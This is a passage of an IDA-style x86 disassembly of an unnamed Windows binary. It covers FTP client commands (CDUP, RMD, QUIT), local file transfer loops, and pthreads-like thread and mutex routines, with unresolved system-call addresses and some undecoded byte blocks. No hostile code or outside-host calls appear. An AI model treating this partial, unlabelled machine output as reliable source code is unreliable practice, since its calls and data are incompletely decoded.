--------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456AC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456EC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h call near ptr 77C1F2BCh nop mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx call near ptr 77C3EEF6h nop mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_4454F4 push ecx call edi mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_4456F8 push eax call edi push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4456F0 push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445704 push eax call near ptr 77C3F931h nop mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44571C push eax call esi mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445710 push edx call esi push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445728 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi push esi call edi add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 277078Fh test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3EC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 0E8525738h, 23412C3h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 341483E8h, 0A4E85302h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 341202E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3413C3E8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 64E89050h, 85023411h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi nop call near ptr 2760A34h push 0 push edi nop call near ptr 27703BFh cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760BEEh lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi nop call near ptr 2760D0Dh push ebx call sub_4010C3 add esp, 4 push edi call near ptr 2770000h nop mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx call near ptr 2770220h nop test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3DC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; 